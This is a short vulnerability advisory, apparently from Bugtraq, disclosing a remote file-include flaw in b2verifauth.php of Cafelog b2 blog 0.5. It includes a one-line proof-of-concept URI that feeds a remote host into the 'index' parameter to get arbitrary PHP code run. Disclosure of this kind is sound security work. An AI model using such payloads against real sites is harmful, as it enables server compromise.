Cafelog B2 Blog B2Verifauth.PHP Remote File Include Vulnerability

Bugtraq ID:	21749
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 26 2006 12:00AM
Updated:	Jan 02 2007 09:46PM
Credit:	mdx is credited with the discovery of this vulnerability.
Vulnerable:	Cafelog b2 blog 0.5
Not Vulnerable:

Cafelog B2 Blog B2Verifauth.PHP Remote File Include Vulnerability

The 'b2 blog' program is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary PHP code in the context of the webserver process.

Version 0.5 and prior are vulnerable to this issue.

Cafelog B2 Blog B2Verifauth.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.site.com/b2verifauth.php?index=http://www.example2.com

Cafelog B2 Blog B2Verifauth.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Cafelog B2 Blog B2Verifauth.PHP Remote File Include Vulnerability

References:

• b2 blog home page (Cafelog)